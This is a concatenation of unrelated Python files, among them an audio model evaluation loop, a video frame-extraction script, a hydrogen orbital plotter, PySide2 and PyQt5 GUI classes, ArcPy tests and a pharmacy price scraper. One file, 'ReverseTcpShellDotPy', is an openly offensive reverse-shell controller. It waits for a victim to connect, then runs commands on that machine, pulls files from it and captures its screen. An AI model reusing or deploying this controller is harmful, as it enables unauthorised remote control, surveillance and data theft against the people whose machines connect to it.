                batch_y = batch_y.float().to(config["train"]["device"], non_blocking=True)  # B x A x 1
                # Create random attributes
                y_random = batch_y.clone()
                for i in range(config["data"]["num_attributes"]):
                    y_random[:, i] = (torch.rand(batch_y.shape[0])).float()
                    # print(y_random)
                target_feats.append(y_random)
                # Reconstructions
                _, x_reconstruct_orig, _ = model(batch_x, batch_y)
                _, x_reconstruct, _ = model(batch_x, y_random)
                _, x_reconstruct_cycle, _ = model(x_reconstruct, batch_y)
                # Compute spectral feats from reconstruction
                feats = []
                for i in range(batch_x.shape[0]):
                    denorm_spec = torch.exp(x_reconstruct[i].detach()) - 0.1
                    feats.append(
                        np.mean(spectral_features_spectro(denorm_spec.cpu().numpy()
                                                          , config["preprocess"]["sample_rate"]),
                                axis=1))
                mel.append(torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct) ** 2), axis=(-1, -2)))
                mel_cycle.append(torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct_cycle) ** 2), axis=(-1, -2)))
                cur_stft = 0
                for r in range(5):
                    cur_stft += torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct) ** 2), axis=(-1, -2))
                    x_reconstruct_orig = scaler(x_reconstruct_orig.unsqueeze(1)).squeeze()
                    x_reconstruct = scaler(x_reconstruct.unsqueeze(1)).squeeze()
                m_stft.append(cur_stft)
                jnd.append((mel[-1] + m_stft[-1]) * .1)
                print()
                feats = np.stack(feats, axis=0)
                recon_feats.append(feats)
            # Store difference between reconstruct attributes and ground truth
            # for i in range(len(tests_list)):
            #    x = cur_feats  # tests_list[i].cpu()
            #    y = recon_feats[i]
            torch.save([target_feats, recon_feats, mel, m_stft, jnd, mel_cycle],
                       m + '_results.pth')


import cv2
import os
import shutil
import argparse

class image_process():
    def __init__(self,path_video_dir):

        self.path_video_dir=path_video_dir

        # self.frame_num=0

    # video_name = "0006"
    #
    # path_dir_save=r'C:\Users\flychen\Desktop\input\\'
    # path_dir=r'C:\Users\flychen\Desktop\input\Clip_Release_22-08-19\\'
    # path_dir1=r'C:\Users\flychen\Desktop\turn\crossroad\\'
    # path_dir2=r'C:\Users\flychen\Desktop\turn\onlyturn\\'
    # path_dir3=r'C:\Users\flychen\Desktop\turn\Yturn\\'
    # path_dir4=r'C:\Users\flychen\Desktop\pose\input_video_01-03\\'
    def cut_video(self,path_video_dir):
        frame_num_dic={}
        frame_size_dic={}
        video_name_list = []

        path_video=os.listdir(path_video_dir)
        for i in range(len(path_video)):
                video_name=path_video[i].split('.mp4')[0]
                video_name_list.append(video_name)
                output_dir_image = output_dir+'image_02/'
                current_working_dir = os.getcwd()
                print(current_working_dir)
                output_frame_dir=output_dir_image+video_name
                if not os.path.exists(output_frame_dir+'/'):
                    os.makedirs(output_frame_dir+'/')

                cap = cv2.VideoCapture(path_video_dir+video_name+'.mp4')

                frame_num=0
                print(cap.get(cv2.CAP_PROP_FPS))
                print(cap.get(cv2.CAP_PROP_FRAME_COUNT))
                while cv2.waitKey(33) < cap.isOpened():
                    ret, frame = cap.read()
                    if ret:
                        cv2.imwrite(output_frame_dir+'/'+str(frame_num).zfill(4)+".png", frame)
                       # old_img_name=output_frame_dir+'/'+str(frame_num).zfill(4)+".png"
                       # new_file_name=output_frame_dir+'/'+str(frame_num).zfill(4)
                        # win
                        # cv2.imwrite(path_frame + "\\" + str(frame_num).zfill(4) + ".png", frame)
                        frame_num=frame_num+1
                        if frame_num==1:
                            output_frame_path = output_frame_dir + '/' + str(frame_num).zfill(4)+'.png'
                        #os.rename(old_img_name, new_file_name)

                    else:
                        break

                cap.release()
                cv2.destroyAllWindows()
                print("{0} frame_num:{1}".format(video_name, frame_num))

                # 合并成一个方法的多次使用
                key='frame_num{0}'.format(video_name)
                frame_num_dic[key]=frame_num

                img=cv2.imread(output_frame_path)
                key='{0} w:'.format(video_name)
                frame_size_dic[key]=img.shape[1]

                key = '{0} h:'.format(video_name)
                frame_size_dic[key]=img.shape[0]
        self.copyTxtCablib(video_name_list)
        self.makeCalib(video_name_list, frame_size_dic)

        self.copyTxtOxts(video_name_list)
        self.makeOxts(frame_num_dic)

        print(frame_num_dic,frame_size_dic)
        print(video_name_list)

        # print("frame_num:{0}".format(frame_num))
        # return frame_num_dic,frame_size_dic,video_name_list

    def copyTxtCablib(self,video_name_list):

        copy_dir_path="./originalData/calib/0000.txt"
        target_dir_path='./testing/calib'

        target_working_dir = self.make_dir(target_dir_path)

        for j in video_name_list:
            shutil.copy(copy_dir_path, target_working_dir + '/' + j)

    def makeCalib(self,video_name_list,frame_size_dic):

            path_calib = './testing/calib/'
            target_working_dir=self.make_dir(path_calib)
            for j in os.listdir(path_calib):
                # for k in video_name_list:
                    print(j)
                    key='{0} w:'.format(j)
                    key2='{0} h:'.format(j)
                    w = frame_size_dic[key]
                    h=frame_size_dic[key2]
                    f = 0.7 * w
                    f = '{0}'.format(f)
                    cx=0.5*w
                    cy=0.5*h

                    file_path = path_calib + j
                    file_data = ""
                    old_str1 = '1344'
                    new_str1 = '{0}'.format(f)
                    old_str2='960.0'
                    new_str2='{0}'.format(cx)
                    old_str3 = '544.0'
                    new_str3 = '{0}'.format(cy)

                    with open(file_path, "r") as f:
                        for line in f:
                            line = line.replace(old_str1, new_str1)
                            line = line.replace(old_str2, new_str2)
                            line = line.replace(old_str3, new_str3)
                            file_data += line
                    with open(file_path, "w") as f:
                        f.write(file_data)

    def make_dir(self,path):
        current_working_dir = os.getcwd()
        target_working_dir = current_working_dir+path.split('.')[1]
        print(target_working_dir)
        if not os.path.exists(target_working_dir ):
            os.makedirs(target_working_dir )
        return target_working_dir

    def make_outputdir_root(self,data_path):
        root_list=['tracking','anns']

        for i in root_list:
            try:
                os.makedirs(data_path+i)
            except:
                pass

    def copyTxtOxts(self,video_name_list):

        copy_dir_path="./originalData/oxts/0000.txt"
        output_dir_path='./testing/oxts/'

        target_working_dir=self.make_dir(output_dir_path)

        for j in video_name_list:
            shutil.copy(copy_dir_path,target_working_dir+'/'+j)

    def makeOxts(self,frame_num_dic):

        path_oxts = './testing/oxts/'
        target_working_dir=self.make_dir(path_oxts)
        for j in os.listdir(target_working_dir):
            z=j.replace('txt','')
            print(z)
            file_data = ''
            key = 'frame_num{0}'.format(z)
            frame_num = frame_num_dic[key]
            file_path = target_working_dir + z
            with open(file_path, "r") as f:
                for line in f:
                    print(line)
                    for n in range(frame_num):
                        file_data += line
            with open(file_path, "w") as f:
                f.write(file_data)
    def renameInOrder(dir_path):
        name_list_old = [x.split('.')[0] for x in sorted(os.listdir(dir_path))]

    # def move_dir(path_old,path_new):
    #     move_dir_old = './testing/'
    #     move_dir_new = './data/tracking/'
    #     shutil.move(move_dir_old, move_dir_new)

if __name__=='__main__':
    # path_video_dir='/home/flychen59/Desktop/qd3t/data/'
    # image_process.cut_video(path_video_dir)
    # copyTxt()
    # parser = argparse.ArgumentParser()
    # parser.add_argument('--path_video_dir',type=str)
    # parser.add_argument('--json_path_dir',type=str)
    # parser.add_argument('--output_dir',type=str)
    # args = parser.parse_args()
    parser = argparse.ArgumentParser()
    parser.add_argument('--outputName', required=True, type=str)
    args = parser.parse_args()
    data_path=os.getcwd()+'/data/'+args.outputName+'/'
    print(data_path)
    #if not os.path.exists(data_path):
    try:

        os.makedirs(data_path)
    except:
        pass
    image_process(1).make_outputdir_root(data_path)

    output_dir = './testing/'

    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    path_video_dir='./inputdata/video_input/'
    json_path_dir='./inputdata/label_input/'

    image_process(path_video_dir).cut_video(path_video_dir)

    # os.system('cd')
    # os.system('python {0}'.format(label_path))
    # os.system("python ./lab_txt2.py")
    # label_txt.labelTxt()

    # def camera_para(self):
    #     with open(path) as r:
    #


#!/usr/bin/python3

try:
    import base64, binascii             # importing need libs
    import libs.clib as clib
    from socket import *
    from PIL import ImageGrab, Image
except :                                # if system dose does not have any of this libs throw an error
    print("ERROR: Run pip install --user --requirement requirements.txt")

Intro = r"""                            # our intro asci art

.     .       .  .   . .   .   . .    +  .
  .     .  :     .    .. :. .___---------___.
       .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
    .  :       .  .  .:../:            . .^  :.:\.
        .   . :: +. :.:/: .   .    .        . . .:\
 .  :    .     . _ :::/:               .  ^ .  . .:\
  .. . .   . - : :.:./.                        .  .:\
  .      .     . :..|:                    .  .  ^. .:|
    .       . : : ..||        .                . . !:|
  .     . . . ::. ::\(                           . :)/
 .   .     : . : .:.|.  ####               . ##### ::|
  :.. .  :-  : .:  ::|.#######           ..########:|
 .  .  .  ..  .  .. :\ ########          :######## :/
  .        .+ :: : -.:\ ########       . ########.:/
    .  .+   . . . . :.:\. ######         ######..:/
      :: . . . . ::.:..:.\           .   .   ..:/
   .   .   .  .. :  -::::.\.       | |     . .:/
      .  :  .  .  .-:.":.::.\             ..:/
 .      -.   . . . .: .:::.:.\.           .:/
.   .   .  :      : ....::_:..:\   ___.  :/
   .   .  .   .:. .. .  .: :.:.:\       :/
     +   .   .   : . ::. :.:. .:.|\  .:/|           ->  TITLE : ReverseTcpShellDotPy
     .         +   .  .  ...:: ..|  --.:|           ->  Coded : Cy4nGuy
.      . . .   .  .  . ... :..:.."(  ..)"           ->   SITE : cy4nxsbtnk3e5wy5.onion
 .   .       .      :  .   .: ::/  .  .::\          -> GITHUB : github.com/cy4nguy

"""

Server  = socket(AF_INET,SOCK_STREAM)   # setting up a TCP connection
HOST    = "YOUR IP"                     # our system IP address
PORT    = 4556                          # random  port that is not in use

Server.bind((HOST, PORT))               # binding IP and port
Server.listen(1)                        # waiting for the user to connect

print(clib.text(f"[*] {HOST}:{PORT} > listening").Color())  # if we got connection show target IP

Client, Addr = Server.accept()                              # our client and client info module and accepting the connection

print(clib.text(Intro).Art())                               #showing our intro art

while True:                                                     #start while True

    print(clib.text("[*] ServerSHELL > ").Color(), end="")      # ask the user for command
    Shell_User   = input()                                      # Get the command
    L_Shell_User = Shell_User.split(" ")                        # convert command to list

    if Shell_User == "quit":                                    # if user said quit
        Client.send(bytes(Shell_User, encoding="utf-8"))        # send quit request to client
        quit()                                                  # end then quit

    elif L_Shell_User[0] == "file":                             # if user went to get file form client

        if L_Shell_User[1] == "get":
            Client.send(bytes(Shell_User, encoding="utf-8"))            # send request to client
            FileDate = binascii.a2b_base64(Client.recv(1073741824))     # get file date in base60
            with open(f"Copy_{L_Shell_User[2]}", "wb") as File:         # save the date in file
                File.write(FileDate)                                    # write file

    elif L_Shell_User[0] == "showScreen":                               # if user went to get screnshot form client
        Client.send(bytes(Shell_User, encoding="utf-8"))                # send request to client
        FileDate = binascii.a2b_base64(Client.recv(1073741824))         # open file
        with open(f"Screen.png", "wb") as File: File.write(FileDate)    # save file date as png
        Image.open("Screen.png").show()

    elif L_Shell_User[0] == "help":                                     # if user entred invalid command or asked for help
        print(r"""
  _        _
 | |_  ___| |_ __
 | ' \/ -_) | '_ \
 |_||_\___|_| .__/
            |_|

                 1 -> file get FILENAME.png | get files form user
                 2 -> command YourCommand   | run command on user
                 3 -> showScreen            | show screeshot from user
                 4 -> chdir path\somewhare  | change the directory
                 5 -> path                  | show current directory(path)
                 6 -> back                  | Go one directory back
                """)

    else:
        Client.send(bytes(Shell_User, encoding="utf-8"))               # if user didnt entred any command send raw command
        Client_R   = str(Client.recv(1024), 'utf-8')                   # if user didnt entred any command show raw command

        print(Client_R)                                                # print client respond


import threading
import time
from datetime import datetime

from logic.apps.agents import service as agent_service
from logic.apps.agents.model import AgentStatus
from logic.apps.jobs import service as jobs_service
from logic.apps.jobs.model import Status
from logic.libs.logger import logger

_THREAD_RUNNER_ACTIVE = True

def runner():

    try:

        for id in jobs_service.list_by_status(Status.READY):

            job = jobs_service.get(id)

            agent = agent_service.get_available_agent_by_type(job.agent_type)
            if not agent:
                continue

            agent_service.change_status(agent.id, AgentStatus.WORKING)

            job.agent = agent
            job.status = Status.RUNNING
            job.running_date = datetime.now()

            jobs_service.modify(job)

            jobs_service.exec_into_agent(job)

    except Exception as e:
        logger.log.error(e)

def start_runner_thread():

    logger.log.info('Start thread -> runner')

    global _THREAD_RUNNER_ACTIVE
    _THREAD_RUNNER_ACTIVE = True

    def thread_method():
        global _THREAD_RUNNER_ACTIVE
        while _THREAD_RUNNER_ACTIVE:
            runner()
            time.sleep(3)

    thread = threading.Thread(target=thread_method)
    thread.start()

def stop_runner_thread():
    global _THREAD_RUNNER_ACTIVE
    _THREAD_RUNNER_ACTIVE = False


import numpy
import matplotlib.pyplot as plt
import scipy.special
import scipy.misc
import math
from mpl_toolkits import mplot3d

# Переход к сферическим координатам (r, theta, phi)
def r(x, y, z):
    return numpy.sqrt(x**2 + y**2 + z**2)

def theta(x, y, z):
    R = r(x,y,z)
    if R == 0:
        return 0
    elif z < -R or z > R:
        return numpy.nan
    else:
        return numpy.arccos(z / R)

def phi(x, y, z):
    if x == 0 and y == 0:
        return 0
    elif x == 0:
        if y > 0:
            return numpy.pi / 2
        else:
            return -numpy.pi / 2
    else:
        return numpy.arctan(y / x)

# Коэффициент нормализации
def normalization_factor(n, l, a0):
    return numpy.sqrt((2 / n / a0) ** 3 * math.factorial(n - l - 1) / (2 * n * math.factorial(n + l)))

# Радиальная функция
def R(r, n, l, a0):
   return normalization_factor(n, l, a0) * (2 * r / n / a0) ** l * numpy.exp(-r / n / a0) * scipy.special.genlaguerre(
       n - l - 1, 2 * l + 1)(2 * r / n / a0)

# Волновая функция
def wave_function(r, theta, phi, n, l, m, a0):
   return R(r, n, l, a0) * scipy.special.sph_harm(m, l, phi, theta)

# Плотность вероятности волновой функции
def absolute_wave_function(r, theta, phi, n, l, m, a0):
   return numpy.absolute(wave_function(r, theta, phi, n, l, m, a0)) ** 2

def w(x, y, z, n, l, m):
    a0 = 1
    return absolute_wave_function(r(x, y, z), theta(x, y, z), phi(x, y, z), n, l, m, a0)

# Визуализация данных
def visualize(elements, probability):
    probability = probability / sum(probability)
    coord = numpy.random.choice(elements, size=100000, replace=True, p=probability)
    elem_mat = [i.split(',') for i in coord]
    elem_mat = numpy.matrix(elem_mat)
    x_coords = [float(i.item()[1:]) for i in elem_mat[:, 0]]
    y_coords = [float(i.item()) for i in elem_mat[:, 1]]
    z_coords = [float(i.item()[0:-1]) for i in elem_mat[:, 2]]

    fig = plt.figure(figsize=(10, 10))
    fig.canvas.mpl_connect('close_event', on_close)
    ax = fig.add_subplot(111, projection='3d')
    ax.scatter(x_coords, y_coords, z_coords, alpha=0.05, s=2)
    ax.set_title("Электронная плотность атома водорода")
    plt.show()

# Метод валидации данных
def validate_data(n, l, m):
    if (n < -3 or n > 3):
        raise Exception("Неверное значение n!\n")
    elif (l < -3 or l >= n):
        raise Exception("Неверное значение l!\n")
    elif (m < -3 or m > l):
        raise Exception("Неверное значение m!\n")

# Метод расчета
def calculate(xs, ys, zs, n, l, m, elements, probability):
    for x in xs:
        for y in ys:
            for z in zs:
                elements.append(str((x, y, z)))
                probability.append(w(x, y, z, n, l, m))

def on_close(event):
    print("")

def main():
    # n - главное квантовое число,
    # l - квантовое число углового момента,
    # m - магнитное квантовое число
    while (True):
        n = input("Введите значение n: ")
        if (n.find("-") <= 1 and n.replace("-", "").isdigit()):
            n = int(n)
        else:
            continue

        l = input("Введите значение l: ")
        if (l.find("-") <= 1 and l.replace("-", "").isdigit()):
            l = int(l)
        else:
            continue

        m = input("Введите значение m: ")
        if (m.find("-") <= 1 and m.replace("-", "").isdigit()):
            m = int(m)
        else:
            continue

        step = 1
        xs = numpy.arange(-30, 30, step)
        ys = numpy.arange(-30, 30, step)
        zs = numpy.arange(-30, 30, step)

        elements = []
        probability = []

        try:
            validate_data(n, l, m)
        except Exception as e:
            print(e)
            continue

        print("Ожидайте построения графика электронной плотности атома водорода")

        calculate(xs, ys, zs, n, l, m, elements, probability)
        visualize(elements, probability)

main()


from PySide2.QtCore import Property, Signal, Qt, QDir, QUrl
from PySide2.QtGui import QIcon
from PySide2.QtWidgets import QAction, QMdiSubWindow, QMessageBox

from confirmation_dialog import ConfirmationDialog

class DocumentWindow(QMdiSubWindow):

    actionCloseOtherSubWindows = Signal(object)
    actionCopyPath = Signal()
    actionCopyFilename = Signal()

    def __init__(self, parent=None):
        """  """
        super().__init__(parent=parent)

        self._filenameSequenceNumber = 0

        self.setAttribute(Qt.WA_DeleteOnClose)

        self._setupActions()

    def _setupActions(self):
        """  """
        menu = self.systemMenu()
        if menu is None:
            return None

        self._actionClose = QAction(self.tr("&Close"), self)
        self._actionClose.setObjectName("actionClose")
        self._actionClose.setIcon(QIcon.fromTheme("window-close", QIcon(":/icons/actions/16/window-close.svg")))
        self._actionClose.setToolTip(self.tr("Close document"))
        self._actionClose.triggered.connect(self.close)

        self._actionCloseOther = QAction(self.tr("Close Ot&her"), self)
        self._actionCloseOther.setObjectName("actionCloseOther")
        self._actionCloseOther.setIcon(QIcon.fromTheme("window-close", QIcon(":/icons/actions/16/window-close.svg")))
        self._actionCloseOther.setToolTip(self.tr("Close other open documents"))
        self._actionCloseOther.triggered.connect(self._slotCloseOther)

        self._actionShowPath = QAction(self.tr("Show &Path"), self)
        self._actionShowPath.setObjectName("actionShowPath")
        self._actionShowPath.setCheckable(True)
        self._actionShowPath.setIcon(QIcon.fromTheme("show-path", QIcon(":/icons/actions/16/show-path.svg")))
        self._actionShowPath.setToolTip(self.tr("Show document path in the tab caption"))
        self._actionShowPath.toggled.connect(self._updateWindowTitle)

        self._actionCopyPath = QAction(self.tr("Cop&y Path"), self)
        self._actionCopyPath.setObjectName("actionCopyPath")
        self._actionCopyPath.setIcon(QIcon.fromTheme("edit-copy-path", QIcon(":/icons/actions/16/edit-copy-path.svg")))
        self._actionCopyPath.setToolTip(self.tr("Copy document path to clipboard"))
        self._actionCopyPath.triggered.connect(self.actionCopyPath)

        self._actionCopyFilename = QAction(self.tr("Copy &Filename"), self)
        self._actionCopyFilename.setObjectName("actionCopyFilename")
        self._actionCopyFilename.setIcon(QIcon.fromTheme("edit-copy-path", QIcon(":/icons/actions/16/edit-copy-path.svg")))
        self._actionCopyFilename.setToolTip(self.tr("Copy document filename to clipboard"))
        self._actionCopyFilename.triggered.connect(self.actionCopyFilename)

        menu.clear()
        menu.addAction(self._actionClose)
        menu.addAction(self._actionCloseOther)
        menu.addSeparator()
        menu.addAction(self._actionShowPath)
        menu.addAction(self._actionCopyPath)
        menu.addAction(self._actionCopyFilename)

    def _enableActionCloseOther(self, enabled):
        """  """
        self._actionCloseOther.setEnabled(enabled)

    #
    # Property: filenameSequenceNumber
    #

    def getFilenameSequenceNumber(self):
        """  """
        return self._filenameSequenceNumber

    def setFilenameSequenceNumber(self, number):
        """  """
        if number != self._filenameSequenceNumber:
            self._filenameSequenceNumber = number

    def initFilenameSequenceNumber(self):
        """  """
        self._filenameSequenceNumber = 0

    filenameSequenceNumber = Property(int, getFilenameSequenceNumber, setFilenameSequenceNumber)

    def _latestFilenameSequenceNumber(self, url):
        """  """
        number = 0

        subWindows = self.mdiArea().subWindowList() if self.mdiArea() is not None else []
        for subWindow in subWindows:
            if subWindow.widget().getUrl().fileName() == url.fileName():
                if subWindow.getFilenameSequenceNumber() > number:
                    number = subWindow.getFilenameSequenceNumber()

        return number

    #
    # Document window
    #

    def windowCaption(self, pathVisible):
        """  """
        if self.widget() is None:
            return None

        caption = self.tr("Untitled")
        url = self.widget().getUrl()

        # Name
        if not url.isEmpty():

            if pathVisible:
                caption = url.toString(QUrl.FormattingOptions(QUrl.PreferLocalFile))
                if caption.startswith(QDir.homePath()):
                    caption = caption.replace(QDir.homePath(), "~", 1)

            elif url.isLocalFile():
                caption = url.fileName()

        # Sequence number
        if (not pathVisible or url.isEmpty()) and self._filenameSequenceNumber > 1:
            caption = self.tr("{0} ({1})").format(caption, self._filenameSequenceNumber)

        return caption

    def _updateWindowTitle(self, pathVisible):
        """  """
        self.setWindowTitle(self.windowCaption(pathVisible))

    def _updateWindowIcon(self, modified):
        """  """
        icon = QIcon.fromTheme("document-save", QIcon(":/icons/actions/16/document-save.svg")) if modified else QIcon()
        self.setWindowIcon(icon)

    #
    # Document
    #

    def documentModifiedChanged(self, modified):
        """  """
        self.setWindowModified(modified)
        self._updateWindowIcon(modified)

    def documentUrlChanged(self, url):
        """  """
        self.initFilenameSequenceNumber()
        self.setFilenameSequenceNumber(self._latestFilenameSequenceNumber(url) + 1)

        self._updateWindowTitle(self._actionShowPath.isChecked())

        self._actionShowPath.setEnabled(not url.isEmpty())
        self._actionCopyPath.setEnabled(not url.isEmpty())
        self._actionCopyFilename.setEnabled(not url.isEmpty())

    def documentCountChanged(self, count):
        """  """
        self._enableActionCloseOther(count >= 2)

    #
    # Action slots
    #

    def _slotCloseOther(self):
        """  """
        count = len(self.mdiArea().subWindowList()) if self.mdiArea() is not None else 0
        if count >= 2:

            title = self.tr("Close all documents except this one")
            text = self.tr("This will close all open documents except this one.\n"
                           "Are you sure you want to continue?")
            buttons = QMessageBox.Yes | QMessageBox.Cancel
            default = QMessageBox.Yes

            if ConfirmationDialog.warning(self, title, text, buttons, default, "ConfirmCloseOtherDocuments") != QMessageBox.Cancel:
                self.actionCloseOtherSubWindows.emit(self)


"""
Tests the Create Tool GPTool
"""
import os
import unittest

import arcpy

class TestCreateTool(unittest.TestCase):
    """Tests the Create Tool GPTool"""

    workspace_dir = None
    output_toolbox = None

    task_name_iso = 'ISODATAClassification'
    tool_name_iso = 'ISODATAClassification_envi'

    task_name_si = 'SpectralIndex'
    tool_name_si = 'SpectralIndex_envi'

    output_toolbox_name = 'test_createtool'
    toolbox_name = 'ENVI Management Tools'
    tool_name = 'CreateTool'
    alias = 'envi'
    gptool_search = '*_envi'

    @classmethod
    def setUpClass(cls):
        """Class setup imports CreateToolbox."""
        # Import HGS toolbox.
        toolbox_path = os.path.join(os.path.dirname(__file__),
                                    '..',
                                    'esri',
                                    'toolboxes',
                                    cls.toolbox_name + '.pyt')
        arcpy.ImportToolbox(toolbox_path)

        cls.workspace_dir = os.path.join(os.path.dirname(__file__), 'workspace')
        if not os.path.isdir(cls.workspace_dir):
            os.mkdir(cls.workspace_dir)

        cls.output_toolbox = os.path.join(cls.workspace_dir,
                                          cls.output_toolbox_name + '.pyt')

    def tearDown(self):
        # Remove pyt file.
        arcpy.RemoveToolbox(self.output_toolbox)

    def setUp(self):
        if os.path.isfile(self.output_toolbox):
            os.remove(self.output_toolbox)

    def test_create_tool(self):
        """Verify create tool generates a GPTool"""
        result = arcpy.CreateENVIToolbox_envi(self.task_name_iso,
                                              self.output_toolbox)

        self.assertEqual(result[0], self.output_toolbox)
        self.assertTrue(os.path.isfile(self.output_toolbox))

        arcpy.ImportToolbox(self.output_toolbox)
        toolbox_list = arcpy.ListToolboxes()
        toolbox_name = '('.join((self.output_toolbox_name, self.alias)) + ')'
        self.assertTrue(toolbox_name in toolbox_list,
                        'Toolbox failed to import')

        envi_tools_list = arcpy.ListTools('*_envi')
        self.assertTrue(self.tool_name_iso in envi_tools_list,
                        'GPTool not created: ' + self.tool_name_iso)

    def test_create_tool_no_extension(self):
        """Verify create tool generates a toolbox without an extension on input."""
        result = arcpy.CreateENVIToolbox_envi(self.task_name_iso,
                                              os.path.splitext(self.output_toolbox)[0])
        self.assertEqual(result[0], os.path.splitext(self.output_toolbox)[0])
        self.assertTrue(os.path.isfile(self.output_toolbox))

        arcpy.ImportToolbox(self.output_toolbox)
        toolbox_list = arcpy.ListToolboxes()
        toolbox_name = toolbox_name = '('.join((self.output_toolbox_name, self.alias)) + ')'
        self.assertTrue(toolbox_name in toolbox_list,
                        'Toolbox failed to import')

        envi_tools_list = arcpy.ListTools('*_envi')
        self.assertTrue(self.tool_name_iso in envi_tools_list,
                        'GPTool not created: ' + self.tool_name_iso)

    def test_create_multi_tool(self):
        """Verify create tool generates a GPTool with Multiple Tasks"""
        result = arcpy.CreateENVIToolbox_envi([self.task_name_iso,
                                               self.task_name_si],
                                              self.output_toolbox)

        self.assertEqual(result[0], self.output_toolbox)
        self.assertTrue(os.path.isfile(self.output_toolbox))

        arcpy.ImportToolbox(self.output_toolbox)
        toolbox_list = arcpy.ListToolboxes()
        toolbox_name = '('.join((self.output_toolbox_name, self.alias)) + ')'
        self.assertTrue(toolbox_name in toolbox_list,
                        'Toolbox failed to import')

        envi_tools_list = arcpy.ListTools('*_envi')
        self.assertTrue(self.tool_name_iso in envi_tools_list,
                        'GPTool not created: ' + self.tool_name_iso)
        self.assertTrue(self.tool_name_si in envi_tools_list,
                        'GPTool not created: ' + self.tool_name_si)


#=====================================
# This file contains all the locations
# programmed by Alice
#=====================================
from creatures import *

def location1(playerStatus):
	ClearScreen()
	print("This is the start of the story")
	print("There will be the introductory text here")
	while True:
		choice = input("Go to location 2 or 3?")
		if choice == "2":
			return 2
		elif choice == "3":
			return 3
		else:
			print("please enter 2 or 3")


from bs4 import BeautifulSoup
import requests

agent = {"User-Agent": 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
url = "https://www.medplusmart.com/product/"

def getMedList(query):
    page = requests.get(url + query, headers=agent).text
    soup = BeautifulSoup(page, 'html.parser')

    meds = soup.select(".wbrk")
    price = soup.select(".cursor td:nth-of-type(3)")

    count = -1
    medList = []
    for med in meds:
        count += 1
        link = med.select("a")
        if(len(link) != 0):
            link = link[0].attrs['href']
        else:
            link = ""

        if(link == "" or med.text == ""):
            pass
        else:
            temp = {
                "name": med.text.strip(),
                "link": link.strip(),
                "price": price[count].text.strip().replace("\t", "")
            }

            medList.append(temp)

    return medList


from PyQt5 import QtCore
from PyQt5.QtCore import Qt
from PyQt5 import QtGui
from PyQt5.QtGui import QPixmap,QIntValidator
from PyQt5.QtWidgets import QGridLayout,QFileDialog, QScrollArea, QMainWindow,QPushButton,QGroupBox,QWidget,QVBoxLayout,QApplication,QSlider,QLabel,QButtonGroup,QComboBox,QPushButton,QLineEdit
from PIL import Image, ImageQt
import os
import torch
import numpy as np
from torchvision import models
from utility import Utility
from captum.attr._core.integrated_gradients import IntegratedGradients
from captum.attr import visualization as vizu
import matplotlib.pyplot as plt

class NetStat(QWidget):
    def __init__(self):
        super(NetStat, self).__init__()

        self.setWindowTitle("Network Statistics")
        self.y=50
        self.x=300
        self.width = 700
        self.height = 500
        self.setGeometry(self.x,self.y,self.width,self.height)
        self.NetStat_window()

    def NetStat_window(self):
        self.NetStat_layout = QVBoxLayout()

        #Create Combo box(Network Selection)
        self.label1=QLabel("Select Netwrok")
        self.chooseNetwork = QComboBox()
        self.chooseNetwork.addItem('')
        self.chooseNetwork.addItem('alexnet')
        self.chooseNetwork.addItem('vgg11')
        self.chooseNetwork.addItem('resnet18')
        self.chooseNetwork.activated[str].connect(self.changeViznetowrk)

        #Create Combo box(Info to display)
        self.label2=QLabel("Select Statistics")
        self.chooseInfo = QComboBox()
        self.chooseInfo.addItem('')
        self.chooseInfo.addItem('Leyer Wise Interpretable Unit Distribution')
        self.chooseInfo.addItem('Class Wise network Relevance')
        self.chooseInfo.addItem('Ablation Statistics')
        self.chooseInfo.activated[str].connect(self.changeInfo)
        self.chooseInfo.setEnabled(False)

        #Placeholder for images
        self.imageCanvas_stat=QLabel()
        self.imageCanvas_stat.setAlignment(Qt.AlignCenter)
        pixmap=QPixmap('gui_resources/black.jpg')
        self.showImage(pixmap)

        #Navigation Keys
        self.fig_label=QLabel("Iou")
        self.fig_label.setAlignment(Qt.AlignCenter)
        self.navigation_layout = QGridLayout()
        self.next_button=QPushButton("Next")
        self.prev_button=QPushButton("Previous")
        self.navigation_layout.addWidget(self.prev_button,1,0)
        self.navigation_layout.addWidget(self.next_button,1,3)
        self.next_button.clicked.connect(self.navigate_next)
        self.prev_button.clicked.connect(self.navigate_prev)

        self.back_mainWindow=QPushButton("Back to Main Menu")
        self.back_mainWindow.clicked.connect(self.showMainWindow)

        self.NetStat_layout.addWidget(self.label1)
        self.NetStat_layout.addWidget(self.chooseNetwork)
        self.NetStat_layout.addWidget(self.label2)
        self.NetStat_layout.addWidget(self.chooseInfo)
        self.NetStat_layout.addWidget(self.imageCanvas_stat)
        #self.NetStat_layout.addWidget(self.fig_label)
        self.NetStat_layout.addLayout(self.navigation_layout)
        self.NetStat_layout.addWidget(self.back_mainWindow)
        self.setLayout(self.NetStat_layout)
        self.show()

    def showImage(self,pixmap):
        pixmap = pixmap.scaled(700, 700)
        self.imageCanvas_stat.setMaximumHeight(pixmap.height())
        self.imageCanvas_stat.setMaximumWidth(pixmap.width())
        self.imageCanvas_stat.setPixmap(pixmap)
        self.imageCanvas_stat.setAlignment(Qt.AlignCenter)

    def resolveDirectory(self,prefix):
        '''convert it into pillow image '''
        # img = Image.fromarray(image)
        # qt_img = ImageQt.ImageQt(img)
        #self.imageCanvas_stat.setPixmap(QtGui.QPixmap.fromImage(qt_img))
        self.path='gui_resources/'+prefix+'/'

        self.filename_list=[]
        for filename in os.listdir(self.path):
            self.filename_list.append(filename)

        self.current_count=0
        pixmap = QPixmap(os.path.join(self.path, self.filename_list[0]))
        self.showImage(pixmap)

    def navigate_next(self):
       if self.current_count < len(self.filename_list)-1:
           self.current_count+=1
           pixmap = QPixmap(os.path.join(self.path, self.filename_list[self.current_count]))
           self.showImage(pixmap)

    def navigate_prev(self):
       if self.current_count>0:
           self.current_count-=1
           pixmap = QPixmap(os.path.join(self.path, self.filename_list[self.current_count]))
           self.showImage(pixmap)

    def showMainWindow(self):
        self.mainwindow = MainWindow()
        self.hide()
        self.mainwindow.show()

    def changeInfo(self,info):
        if info =='Leyer Wise Interpretable Unit Distribution':
            self.prefix=self.networkName+'_iou_dist'
            self.resolveDirectory(self.prefix)
        elif info == 'Class Wise network Relevance':
